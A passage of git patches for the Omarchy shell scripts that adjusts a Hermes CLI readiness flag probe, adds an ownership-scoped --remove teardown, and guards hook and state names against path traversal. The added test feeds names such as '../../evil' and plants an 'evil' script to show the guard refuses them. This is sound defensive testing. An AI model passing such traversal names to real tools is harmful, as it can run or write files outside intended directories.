--oneshot opt-out arrived with native interactive -q, -# so its presence is a stable capability check without relying on a version. +# Probed for the flags omarchy-agent actually passes -- --query to seed the +# session and --tui to keep it interactive -- rather than a flag that merely +# shipped alongside them: the previous marker, --oneshot, was dropped in Hermes +# v0.20 and left working installs stranded as "not ready". hermes_prompt_ready() { local help hermes_runs && help=$(timeout 15 "$HOME/.local/bin/hermes" chat --help 2>/dev/null) && - grep -qF -- '--oneshot' <<<"$help" + grep -qF -- '--tui' <<<"$help" && + grep -qF -- '--query' <<<"$help" } # --owns answers whether the wrapper on PATH is the one this command wrote, so diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 83b516e9..2144a795 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -98,7 +98,7 @@ mkdir -p "$test_home/.hermes/hermes-agent/venv/bin" cat >"$test_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' #!/bin/bash if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then - [[ ${OMARCHY_TEST_HERMES_CAPABLE:-1} == 1 ]] && echo "--oneshot" + [[ ${OMARCHY_TEST_HERMES_CAPABLE:-1} == 1 ]] && echo "[-q QUERY, --query QUERY] [--tui]" else echo "hermes-agent 0.0.0-test" fi @@ -388,7 +388,7 @@ run_ready_check && fail "--check rejects the app's wrapper when its runtime is g cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' #!/bin/bash if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then - echo "--oneshot" + echo "[-q QUERY, --query QUERY] [--tui]" else echo "hermes-agent 0.0.0-test" fi @@ -396,3 +396,17 @@ SH chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" run_ready_check || fail "--check accepts the app's wrapper once it runs" pass "readiness runs the app's command rather than trusting its marker" + +# A release whose help lists only the retired --oneshot marker cannot run the +# seeded --tui --query session omarchy-agent starts, so it is not ready. +cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' +#!/bin/bash +if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then + echo "--oneshot" +else + echo "hermes-agent 0.0.0-test" +fi +SH +chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" +run_ready_check && fail "--check accepts a release without the flags omarchy-agent passes" +pass "a release listing only --oneshot is not prompt-ready" From 0a65b45ab145c5bc134b6846e72e12dbf459de53 Mon Sep 17 00:00:00 2001 From: Adolanium <94890352+Adolanium@users.noreply.github.com> Date: Tue, 25 Aug 2026 08:48:49 +0300 Subject: [PATCH 187/336] Refuse hook and state names that are paths omarchy-hook and omarchy-state set join a name straight into a path. A name with a slash, or a bare . or .., points outside the hooks or state directory. Every caller in the repo passes a fixed label, so this is a footgun guard for future callers, not a fix for anything that ships today. Names with dots in the middle (a..b) stay allowed. omarchy-state clear is untouched: find -name matches basenames only. --- bin/omarchy-hook | 12 +++ bin/omarchy-state | 15 ++- test/shell.d/hook-state-name-guard-test.sh | 109 +++++++++++++++++++++ 3 files changed, 135 insertions(+), 1 deletion(-) create mode 100644 test/shell.d/hook-state-name-guard-test.sh diff --git a/bin/omarchy-hook b/bin/omarchy-hook index 8c2a59d9..499cdf14 100755 --- a/bin/omarchy-hook +++ b/bin/omarchy-hook @@ -11,6 +11,18 @@ if (( $# < 1 )); then fi HOOK=$1 + +# Hook names are fixed labels chosen by Omarchy code (post-update, theme-set, +# font-set). The name becomes a filename under the hooks directory. A slash +# would turn it into directory levels, and a bare `.` or `..` would point bash +# at the directory itself or its parent. Refuse those rather than follow them. +# Dots inside a name (a..b) are fine; once slashes are out, only the whole +# name being `.` or `..` can leave the directory. +if [[ -z $HOOK || $HOOK == */* || $HOOK == "." || $HOOK == ".." ]]; then + echo "Invalid hook name: $HOOK" >&2 + exit 2 +fi + HOOK_PATH="$HOME/.config/omarchy/hooks/$1" HOOK_DIR="$HOOK_PATH.d" shift diff --git a/bin/omarchy-state b/bin/omarchy-state index 4fda5b3a..3b2f5e17 100755 --- a/bin/omarchy-state +++ b/bin/omarchy-state @@ -21,6 +21,19 @@ if [[ -z $STATE_NAME ]]; then fi case "$COMMAND" in -set) touch "$STATE_DIR/$STATE_NAME" ;; +set) + # State names are fixed labels (reboot-required, restart-*-required). The + # name becomes a filename under the state directory. A slash would turn it + # into directory levels, and a bare `.` or `..` would touch the directory + # itself or its parent. Refuse those. Dots inside a name (a..b) are fine; + # once slashes are out, only the whole name being `.` or `..` can leave the + # directory. clear needs no such guard: find -name matches basenames only, + # so a pattern can never walk out of the directory. + if [[ $STATE_NAME == */* || $STATE_NAME == "." || $STATE_NAME == ".." ]]; then + echo "Invalid state name: $STATE_NAME" >&2 + exit 2 + fi + touch "$STATE_DIR/$STATE_NAME" + ;; clear) find "$STATE_DIR" -maxdepth 1 -type f -name "$STATE_NAME" -delete ;; esac diff --git a/test/shell.d/hook-state-name-guard-test.sh b/test/shell.d/hook-state-name-guard-test.sh new file mode 100644 index 00000000..2955ad27 --- /dev/null +++ b/test/shell.d/hook-state-name-guard-test.sh @@ -0,0 +1,109 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" + +work_dir=$(mktemp -d) +trap 'rm -rf "$work_dir"' EXIT + +fake_home="$work_dir/home" +mkdir -p "$fake_home/.config/omarchy/hooks" "$fake_home/.local/state/omarchy" + +# --- omarchy-hook -------------------------------------------------------------- + +# A hook name is a label, not a path. One carrying a slash, or one that is a +# bare `.` or `..`, would run a script from outside the hooks directory. + +cat >"$fake_home/.config/omarchy/hooks/test-hook" <<'SH' +touch "$HOME/hook-ran" +SH + +HOME="$fake_home" "$ROOT/bin/omarchy-hook" test-hook +[[ -f $fake_home/hook-ran ]] || + fail "omarchy hook runs a named hook from the hooks directory" +pass "omarchy hook runs a named hook from the hooks directory" + +# Dots inside a name are not a path. a..b stays inside the hooks directory. +cat >"$fake_home/.config/omarchy/hooks/a..b" <<'SH' +touch "$HOME/dotted-hook-ran" +SH + +HOME="$fake_home" "$ROOT/bin/omarchy-hook" a..b +[[ -f $fake_home/dotted-hook-ran ]] || + fail "omarchy hook accepts a hook name with dots in the middle" +pass "omarchy hook accepts a hook name with dots in the middle" + +for name in . ..; do + status=0 + HOME="$fake_home" "$ROOT/bin/omarchy-hook" "$name" >/dev/null 2>&1 || status=$? + (( status == 2 )) || + fail "omarchy hook refuses a hook name of $name" "exit: $status" + pass "omarchy hook refuses a hook name of $name" +done + +# This file sits where a name of ../../evil would resolve: hooks/../.. is +# ~/.config. +cat >"$fake_home/.config/evil" <<'SH' +touch "$HOME/escape-ran" +SH +chmod +x "$fake_home/.config/evil" + +status=0 +HOME="$fake_home" "$ROOT/bin/omarchy-hook" "../../evil" >/dev/null 2>&1 || status=$? +(( status == 2 )) || + fail "omarchy hook refuses a hook name with a dot-dot" "exit: $status" +[[ ! -e $fake_home/escape-ran ]] || + fail "omarchy hook runs nothing when it refuses the name" +pass "omarchy hook refuses a hook name with a dot-dot" + +status=0 +HOME="$fake_home" "$ROOT/bin/omarchy-hook" "sub/dir" >/dev/null 2>&1 || status=$? +(( status == 2 )) || + fail "omarchy hook refuses a hook name with a slash" "exit: $status" +pass "omarchy hook refuses a hook name with a slash" + +# --- omarchy-state ------------------------------------------------------------- + +state_dir="$fake_home/.local/state/omarchy" + +HOME="$fake_home" "$ROOT/bin/omarchy-state" set reboot-required +[[ -f $state_dir/reboot-required ]] || + fail "omarchy state set still creates a plain state file" +pass "omarchy state set still creates a plain state file" + +HOME="$fake_home" "$ROOT/bin/omarchy-state" set v1..2 +[[ -f $state_dir/v1..2 ]] || + fail "omarchy state set accepts a state name with dots in the middle" +pass "omarchy state set accepts a state name with dots in the middle" + +for name in . ..; do + status=0 + HOME="$fake_home" "$ROOT/bin/omarchy-state" set "$name" >/dev/null 2>&1 || status=$? + (( status == 2 )) || + fail "omarchy state set refuses a state name of $name" "exit: $status" + pass "omarchy state set refuses a state name of $name" +done + +# state/../.. is ~/.local. The guard must fire before touch gets there. +status=0 +HOME="$fake_home" "$ROOT/bin/omarchy-state" set "../../escape" >/dev/null 2>&1 || status=$? +(( status == 2 )) || + fail "omarchy state set refuses a state name with a dot-dot" "exit: $status" +[[ ! -e $fake_home/.local/escape ]] || + fail "omarchy state set creates nothing outside the state directory" +pass "omarchy state set refuses a state name with a dot-dot" + +status=0 +HOME="$fake_home" "$ROOT/bin/omarchy-state" set "sub/dir" >/dev/null 2>&1 || status=$? +(( status == 2 )) || + fail "omarchy state set refuses a state name with a slash" "exit: $status" +pass "omarchy state set refuses a state name with a slash" + +# clear takes patterns by design ("state-name-or-pattern") and matches +# basenames through find -name, so it can never walk out of the directory. +touch "$state_dir/restart-a-required" "$state_dir/restart-b-required" "$state_dir/keep-me" +HOME="$fake_home" "$ROOT/bin/omarchy-state" clear "restart-*-required" +[[ ! -e $state_dir/restart-a-required && ! -e $state_dir/restart-b-required && -f $state_dir/keep-me ]] || + fail "omarchy state clear still clears matching patterns only" +pass "omarchy state clear still clears matching patterns only" From f7078b9136e5241b2080a41575c85502e2b7c7b0 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Tue, 1 Sep 2026 15:53:52 -0500 Subject: [PATCH 188/336] Match Hermes flag probe at a boundary, cover the mise path Review follow-up on the readiness probe. The two greps were fixed-string substring matches, so a future release listing only --tui-theme or --query-log while dropping the bare --tui/--query omarchy-agent passes would read as ready -- the same false verdict inverted. Anchor both to a flag boundary. Add a regression case pinning that a substring-only help is rejected, and one exercising --check through a mise-installed hermes in both capability directions: the desktop and foreign cases only covered their own wrappers, and the mise path is what a machine without the app runs. Co-Authored-By: Claude --- bin/omarchy-install-hermes-cli | 9 ++++-- test/shell.d/hermes-cli-test.sh | 52 +++++++++++++++++++++++++++++++++ 2 files changed, 59 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 150364c0..bdd0daab 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -92,12 +92,17 @@ hermes_runs() { # session and --tui to keep it interactive -- rather than a flag that merely # shipped alongside them: the previous marker, --oneshot, was dropped in Hermes # v0.20 and left working installs stranded as "not ready". +# +# Matched at a flag boundary, not as a substring: a bare grep for --tui also +# accepts a release that lists only --tui-theme while having dropped --tui +# itself, which would call an install ready that omarchy-agent cannot drive -- +# the same false verdict this check exists to prevent, merely inverted. hermes_prompt_ready() { local help hermes_runs && help=$(timeout 15 "$HOME/.local/bin/hermes" chat --help 2>/dev/null) && - grep -qF -- '--tui' <<<"$help" && - grep -qF -- '--query' <<<"$help" + grep -qE -- '--tui([^[:alnum:]-]|$)' <<<"$help" && + grep -qE -- '--query([^[:alnum:]-]|$)' <<<"$help" } # --owns answers whether the wrapper on PATH is the one this command wrote, so diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index 2144a795..fa5c1db9 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -23,6 +23,11 @@ cat >"$mock_bin/omarchy-cmd-missing" <<'SH' SH # `mise where` must fail so the installer sees no Hermes behind the stub. +# +# With OMARCHY_TEST_MISE_X_HERMES=1, `mise x -- hermes ...` emulates the Hermes +# the Omarchy stub runs, so the readiness probe can be exercised through a +# mise-installed hermes and not only the foreign and desktop wrappers. Off by +# default, so `mise x` stays silent for every test that does not opt in. cat >"$mock_bin/mise" <<'SH' #!/bin/bash printf '%s\0' "$@" >>"$OMARCHY_TEST_MISE_LOG" @@ -30,6 +35,18 @@ if [[ $1 == "where" && ${OMARCHY_TEST_MISE_WHERE_OK:-0} == 1 ]]; then printf '%s\n' "$OMARCHY_TEST_MISE_ROOT" exit 0 fi +if [[ $1 == "x" && ${OMARCHY_TEST_MISE_X_HERMES:-0} == 1 ]]; then + # Args are `x -- hermes `; skip to what follows hermes. + shift + while (( $# )) && [[ $1 != "--" ]]; do shift; done + shift 2 + if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then + [[ ${OMARCHY_TEST_HERMES_CAPABLE:-1} == 1 ]] && echo "[-q QUERY, --query QUERY] [--tui]" + else + echo "hermes-agent 0.0.0-test" + fi + exit 0 +fi [[ $1 != "where" ]] SH @@ -237,6 +254,26 @@ tr '\0' '\n' <"$mise_log" | grep -q '^rm$' || fail "an older owned Hermes enviro tr '\0' '\n' <"$mise_log" | grep -q '^uninstall$' || fail "an older owned Hermes environment is uninstalled" pass "reinstalling replaces an older owned Hermes environment" +# The mise-installed path is what a machine without the desktop app runs, and +# --check gates the default agent there too. The stub is present and its mise +# environment resolves, so readiness turns on the hermes mise runs -- exercised +# here in both directions, since the desktop and foreign cases cover only their +# own wrappers. +run_mise_check() { + OMARCHY_TEST_DESKTOP_INSTALLED=0 \ + OMARCHY_TEST_MISE_WHERE_OK=1 \ + OMARCHY_TEST_MISE_ROOT="$test_tmp/mise" \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + OMARCHY_TEST_MISE_X_HERMES=1 \ + OMARCHY_TEST_HERMES_CAPABLE="$1" \ + HOME="$test_home" \ + PATH="$mock_bin:$PATH" \ + bash "$ROOT/bin/omarchy-install-hermes-cli" --check >/dev/null 2>&1 +} +run_mise_check 1 || fail "--check accepts a mise-installed hermes that runs the seeded session" +run_mise_check 0 && fail "--check rejects a mise-installed hermes without the flags omarchy-agent passes" +pass "--check follows the mise-installed hermes it would actually run" + rm -f "$test_home/.local/bin/hermes" : >"$mise_log" OMARCHY_TEST_MISE_WHERE_OK=1 run_installer 0 && @@ -410,3 +447,18 @@ SH chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" run_ready_check && fail "--check accepts a release without the flags omarchy-agent passes" pass "a release listing only --oneshot is not prompt-ready" + +# A release that lists --tui-theme and --query-log but has dropped the bare +# --tui/--query omarchy-agent passes must not read as ready on the substring +# alone. The probe matches at a flag boundary for exactly this case. +cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' +#!/bin/bash +if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then + echo "[--tui-theme THEME] [--query-log FILE]" +else + echo "hermes-agent 0.0.0-test" +fi +SH +chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" +run_ready_check && fail "--check accepts a release whose flags only contain --tui/--query as a substring" +pass "a flag that merely contains --tui or --query is not prompt-ready" From 36d52254a7962e468ce75d637afc7bedeb090cb1 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Tue, 1 Sep 2026 22:51:03 -0500 Subject: [PATCH 189/336] Tear down the mise Hermes CLI on Remove Hermes Remove Hermes dropped the desktop package and its ~/.hermes runtime but never touched the mise CLI, on the assumption the install-time handoff had already removed it. A CLI the app never superseded -- an interrupted install, or the terminal CLI from before the app existed -- was left stranded on PATH after uninstall. Add a --remove mode to omarchy-install-hermes-cli that performs the same teardown the desktop takeover already does (mise rm -g + mise uninstall, and the marked stub), and call it from omarchy-remove-ai-hermes. The tool spec and ownership marker stay defined in one place, so the takeover and teardown paths cannot drift. Scoped to what Omarchy owns: a Hermes the user installed themselves is left alone. Co-Authored-By: Claude --- bin/omarchy-install-hermes-cli | 21 +++++++++++++++- bin/omarchy-remove-ai-hermes | 7 ++++++ test/shell.d/hermes-cli-test.sh | 39 ++++++++++++++++++++++++++++++ test/shell.d/hermes-remove-test.sh | 19 ++++++++++++++- 4 files changed, 84 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index bdd0daab..7ae9410a 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Install the Hermes CLI as a mise-backed wrapper in ~/.local/bin -# omarchy:args=[--check|--now|--owns] +# omarchy:args=[--check|--now|--owns|--remove] # omarchy:examples=omarchy install hermes cli | omarchy install hermes cli --now # Hermes pins every one of its dependencies exactly and declares @@ -112,6 +112,25 @@ if [[ $mode == "--owns" ]]; then if ours; then exit 0; else exit 1; fi fi +# --remove tears down a Hermes CLI this installer put in place -- the mise tool +# it installs and the stub it marks -- so Remove Hermes clears a CLI the app +# never superseded (an interrupted install, or the terminal CLI from before the +# app existed) rather than leaving it stranded on PATH. Scoped to what is ours: +# the tool spec is this installer's, and the stub goes only when it carries the +# marker, so a Hermes the user installed themselves is untouched. Idempotent -- +# nothing installed means nothing to do -- and it is the same teardown the +# desktop takeover above performs, kept in one place so the two cannot drift. +if [[ $mode == "--remove" ]]; then + mise rm -g "$tool" >/dev/null 2>&1 || true + mise uninstall --all "$tool" >/dev/null 2>&1 || true + + if ours; then + rm -f "$HOME/.local/bin/hermes" + fi + + exit 0 +fi + # --check lets callers tell a cold stub from a working one before they commit # to a path that assumes Hermes is ready. if [[ $mode == "--check" ]]; then diff --git a/bin/omarchy-remove-ai-hermes b/bin/omarchy-remove-ai-hermes index f67b1d6d..f332dc4b 100755 --- a/bin/omarchy-remove-ai-hermes +++ b/bin/omarchy-remove-ai-hermes @@ -8,6 +8,13 @@ set -euo pipefail omarchy-pkg-drop hermes-desktop +# The mise CLI is the app's predecessor, not the app itself: Hermes Desktop takes +# it over on install and runs its own runtime instead, so a copy still here is one +# the app never superseded -- an interrupted install, or the terminal CLI from +# before the app existed. Remove Hermes clears that too, scoped by the installer +# to what Omarchy owns so a hermes the user set up themselves is left alone. +omarchy-install-hermes-cli --remove + # The app writes this when the runtime it provisions under ~/.hermes has landed, # and it is the only thing that tells that runtime apart from one the user # installed themselves -- the paths are the same either way. Without it the app diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index fa5c1db9..a70589ef 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -402,6 +402,45 @@ marker_copies=$(grep -rl "Written by omarchy-install-hermes-cli" \ fail "only omarchy-install-hermes-cli spells out the ownership marker" pass "the ownership marker is written down once" +# --remove tears down a Hermes CLI this installer owns, so Remove Hermes can +# clear one the desktop app never superseded. It turns on the same ownership as +# the rest of the file, so its cases mirror that split. +remove_home="$test_tmp/remove-home" +mkdir -p "$remove_home/.local/bin" + +run_remove() { + OMARCHY_TEST_DESKTOP_INSTALLED=0 \ + OMARCHY_TEST_MISE_WHERE_OK="${OMARCHY_TEST_MISE_WHERE_OK:-0}" \ + OMARCHY_TEST_MISE_ROOT="$test_tmp/mise" \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + HOME="$remove_home" \ + PATH="$mock_bin:$PATH" \ + bash "$ROOT/bin/omarchy-install-hermes-cli" --remove +} + +rm -f "$remove_home/.local/bin/hermes" +: >"$mise_log" +run_remove || fail "--remove succeeds when there is nothing to remove" +pass "--remove is idempotent when no Hermes CLI is present" + +printf '%s\n' "#!/bin/bash" "$stub_marker" >"$remove_home/.local/bin/hermes" +chmod +x "$remove_home/.local/bin/hermes" +: >"$mise_log" +OMARCHY_TEST_MISE_WHERE_OK=1 run_remove || fail "--remove succeeds tearing down an owned CLI" +tr '\0' '\n' <"$mise_log" | grep -q '^rm$' || fail "--remove drops the mise tool from config" +tr '\0' '\n' <"$mise_log" | grep -q '^uninstall$' || fail "--remove uninstalls the mise tool" +[[ ! -e $remove_home/.local/bin/hermes ]] || fail "--remove takes the stub it owns" +pass "--remove tears down the mise CLI and the stub this installer owns" + +foreign_remove_body="#!/bin/bash +exec /usr/local/bin/my-own-hermes \"\$@\"" +printf '%s\n' "$foreign_remove_body" >"$remove_home/.local/bin/hermes" +chmod +x "$remove_home/.local/bin/hermes" +run_remove || fail "--remove succeeds with a foreign hermes present" +[[ -f $remove_home/.local/bin/hermes && $(cat "$remove_home/.local/bin/hermes") == "$foreign_remove_body" ]] || + fail "--remove leaves a hermes it does not own untouched" +pass "--remove leaves a Hermes the user installed themselves" + # The app's marker says its install once landed, not that it is still there. A # wrapper whose runtime has since gone answers for nothing, so readiness runs # the command, exactly as it does for a hermes the user installed themselves. diff --git a/test/shell.d/hermes-remove-test.sh b/test/shell.d/hermes-remove-test.sh index bc80859f..c590f0d3 100755 --- a/test/shell.d/hermes-remove-test.sh +++ b/test/shell.d/hermes-remove-test.sh @@ -15,6 +15,14 @@ cat >"$mock_bin/omarchy-pkg-drop" <<'SH' #!/bin/bash printf '%s\0' "$@" >>"$OMARCHY_TEST_DROP_LOG" SH + +# The CLI teardown is the installer's own, exercised in hermes-cli-test.sh; here +# it is mocked to a logger so this test stays about what Remove Hermes does with +# ~/.hermes, and to keep real mise out of a run with HOME pointed at a fixture. +cat >"$mock_bin/omarchy-install-hermes-cli" <<'SH' +#!/bin/bash +printf '%s\0' "$@" >>"$OMARCHY_TEST_INSTALLER_LOG" +SH chmod +x "$mock_bin"/* seed_install() { @@ -35,7 +43,10 @@ seed_install() { } remove() { - OMARCHY_TEST_DROP_LOG="$test_tmp/drop-log" HOME="$test_home" PATH="$mock_bin:$PATH" \ + : >"$test_tmp/installer-log" + OMARCHY_TEST_DROP_LOG="$test_tmp/drop-log" \ + OMARCHY_TEST_INSTALLER_LOG="$test_tmp/installer-log" \ + HOME="$test_home" PATH="$mock_bin:$PATH" \ bash "$ROOT/bin/omarchy-remove-ai-hermes" >/dev/null 2>&1 } @@ -67,6 +78,12 @@ pass "removal keeps what belongs to the user" [[ ! -e $test_home/.local/bin/hermes ]] || fail "the app's own hermes command is removed" pass "removal takes the command the app installed" +# Removal also asks the installer to tear down a mise CLI the app superseded, so +# a copy left from before the app took over does not linger once Hermes is gone. +tr '\0' '\n' <"$test_tmp/installer-log" | grep -qx -- '--remove' || + fail "removal asks the installer to tear down its own CLI" +pass "removal tears down the mise CLI through the installer" + # A hermes command the app did not write survives even when the app did install # a runtime of its own. seed_install From c462aad9eec6b1cff29027cb88fe2ec628402734 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Tue, 1 Sep 2026 23:32:35 -0500 Subject: [PATCH 190/336] Prove ownership before --remove touches mise The teardown removed the Omarchy tool spec from mise unconditionally, so removing Hermes Desktop could destroy a mise environment the user had built against the same spec while sparing their wrapper -- the very command the removal claims to preserve, broken behind its back. The whole teardown now turns on the marked stub, as replacement already does; the desktop takeover keeps its own bargain, where a second Hermes goes whoever built it and the app still provides the command after. Also close the probe over underscores -- _ continues a flag name just as - does, so --tui_mode no longer answers for --tui -- and pin the gaps review found in the tests: each flag must match on its own (either grep could be deleted before without a failure), a foreign wrapper's mise environment must survive --remove, and Remove Hermes must tear down the CLI in the interrupted-install case, not only after the app's runtime landed. Findings from an independent codex review at xhigh, each verified against the source and proven by mutation before landing. Co-Authored-By: Codex Co-Authored-By: Claude --- bin/omarchy-install-hermes-cli | 24 +++++++++-------- test/shell.d/hermes-cli-test.sh | 42 +++++++++++++++++++++++++++++- test/shell.d/hermes-remove-test.sh | 4 +++ 3 files changed, 58 insertions(+), 12 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 7ae9410a..4a6923a3 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -101,8 +101,8 @@ hermes_prompt_ready() { local help hermes_runs && help=$(timeout 15 "$HOME/.local/bin/hermes" chat --help 2>/dev/null) && - grep -qE -- '--tui([^[:alnum:]-]|$)' <<<"$help" && - grep -qE -- '--query([^[:alnum:]-]|$)' <<<"$help" + grep -qE -- '--tui([^[:alnum:]_-]|$)' <<<"$help" && + grep -qE -- '--query([^[:alnum:]_-]|$)' <<<"$help" } # --owns answers whether the wrapper on PATH is the one this command wrote, so @@ -113,18 +113,20 @@ if [[ $mode == "--owns" ]]; then fi # --remove tears down a Hermes CLI this installer put in place -- the mise tool -# it installs and the stub it marks -- so Remove Hermes clears a CLI the app +# it installed and the stub it marked -- so Remove Hermes clears a CLI the app # never superseded (an interrupted install, or the terminal CLI from before the -# app existed) rather than leaving it stranded on PATH. Scoped to what is ours: -# the tool spec is this installer's, and the stub goes only when it carries the -# marker, so a Hermes the user installed themselves is untouched. Idempotent -- -# nothing installed means nothing to do -- and it is the same teardown the -# desktop takeover above performs, kept in one place so the two cannot drift. +# app existed) rather than leaving it stranded on PATH. The whole teardown +# turns on the marked stub, exactly as replacement does further down: without +# it nothing proves the mise environment is Omarchy's rather than one the user +# built against the same spec, and a user's stays theirs. The desktop takeover +# removes the environment without asking, but that is its own bargain -- a +# second Hermes has to go whoever built it, and the app still provides the +# command afterwards; here nothing would. Idempotent: nothing owned, nothing +# to do. if [[ $mode == "--remove" ]]; then - mise rm -g "$tool" >/dev/null 2>&1 || true - mise uninstall --all "$tool" >/dev/null 2>&1 || true - if ours; then + mise rm -g "$tool" >/dev/null 2>&1 || true + mise uninstall --all "$tool" >/dev/null 2>&1 || true rm -f "$HOME/.local/bin/hermes" fi diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index a70589ef..69a52f61 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -421,6 +421,10 @@ run_remove() { rm -f "$remove_home/.local/bin/hermes" : >"$mise_log" run_remove || fail "--remove succeeds when there is nothing to remove" +# No stub means no proof the mise environment -- if one even exists -- is +# Omarchy's, so nothing may reach mise at all. +tr '\0' '\n' <"$mise_log" | grep -Eq '^(rm|uninstall)$' && + fail "--remove leaves mise alone when nothing proves ownership" pass "--remove is idempotent when no Hermes CLI is present" printf '%s\n' "#!/bin/bash" "$stub_marker" >"$remove_home/.local/bin/hermes" @@ -436,9 +440,14 @@ foreign_remove_body="#!/bin/bash exec /usr/local/bin/my-own-hermes \"\$@\"" printf '%s\n' "$foreign_remove_body" >"$remove_home/.local/bin/hermes" chmod +x "$remove_home/.local/bin/hermes" -run_remove || fail "--remove succeeds with a foreign hermes present" +: >"$mise_log" +OMARCHY_TEST_MISE_WHERE_OK=1 run_remove || fail "--remove succeeds with a foreign hermes present" [[ -f $remove_home/.local/bin/hermes && $(cat "$remove_home/.local/bin/hermes") == "$foreign_remove_body" ]] || fail "--remove leaves a hermes it does not own untouched" +# The wrapper may front a mise environment the user built against the very same +# spec; without the marker there is no telling, so the environment stays too. +tr '\0' '\n' <"$mise_log" | grep -Eq '^(rm|uninstall)$' && + fail "--remove never removes a mise environment it cannot prove is Omarchy's" pass "--remove leaves a Hermes the user installed themselves" # The app's marker says its install once landed, not that it is still there. A @@ -501,3 +510,34 @@ SH chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" run_ready_check && fail "--check accepts a release whose flags only contain --tui/--query as a substring" pass "a flag that merely contains --tui or --query is not prompt-ready" + +# Each flag answers for itself: a release that kept --tui but dropped --query, +# or the reverse, cannot run the seeded session either, so neither grep may +# ride on the other's match. +for kept in '--tui' '-q QUERY, --query QUERY'; do + cat >"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <"$ready_home/.hermes/hermes-agent/venv/bin/hermes" <<'SH' +#!/bin/bash +if [[ ${1:-} == "chat" && ${2:-} == "--help" ]]; then + echo "[--tui_mode MODE] [--query_log FILE]" +else + echo "hermes-agent 0.0.0-test" +fi +SH +chmod +x "$ready_home/.hermes/hermes-agent/venv/bin/hermes" +run_ready_check && fail "--check accepts flags that extend --tui/--query with an underscore" +pass "an underscore continuation is not the bare flag" diff --git a/test/shell.d/hermes-remove-test.sh b/test/shell.d/hermes-remove-test.sh index c590f0d3..6045c9a1 100755 --- a/test/shell.d/hermes-remove-test.sh +++ b/test/shell.d/hermes-remove-test.sh @@ -104,6 +104,10 @@ printf 'my local edit\n' >"$test_home/.hermes/hermes-agent/PATCH" printf '%s\n' "#!/bin/bash" "exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" \ >"$test_home/.local/bin/hermes" remove || fail "remove succeeds when the app never finished installing Hermes" +# The stranded pre-desktop CLI is exactly the interrupted-install case, so the +# teardown must be asked for here too, not only when the app's runtime landed. +tr '\0' '\n' <"$test_tmp/installer-log" | grep -qx -- '--remove' || + fail "removal tears down the CLI even when the app never finished installing" [[ -d $test_home/.hermes/hermes-agent ]] || fail "a Hermes runtime the app never installed survives removal" [[ -f $test_home/.hermes/hermes-agent/PATCH ]] || From 46cfc4ada5d9efe849d0f789178e492d98801011 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Wed, 2 Sep 2026 01:01:13 -0500 Subject: [PATCH 191/336] Judge the CLI teardown by what is left, and match flags as definitions Two review follow-ups. The probe counted any mention of --tui/--query in the help as support -- Hermes already writes "With --tui:" into --dev's description, so a release that dropped the option while keeping the prose would still read as ready. A flag now counts only when followed by a shape argparse prints after a definition: the usage bracket, the gap before same-line help text, an uppercase metavar, or the line end. Not probed by parsing a real invocation on purpose -- a release that ignores unknown arguments would turn the probe into a live session. And the teardown trusted its commands: a stub rm that failed aborted Remove Hermes under set -e before any ~/.hermes handling, while mise failures vanished into || true. --remove now attempts every step, then judges by what is left -- the marked stub still present, or mise still resolving the tool -- and Remove Hermes tolerates the failure until the runtime is handled, then carries it in its exit code. Findings from the same codex review at xhigh, verified and proven by mutation before landing. Co-Authored-By: Codex Co-Authored-By: Claude --- bin/omarchy-install-hermes-cli | 32 ++++++++++++++++++++------- bin/omarchy-remove-ai-hermes | 11 +++++++++- test/shell.d/hermes-cli-test.sh | 35 +++++++++++++++++++++++++++++- test/shell.d/hermes-remove-test.sh | 13 +++++++++++ 4 files changed, 81 insertions(+), 10 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 4a6923a3..35405269 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -88,21 +88,27 @@ hermes_runs() { timeout 15 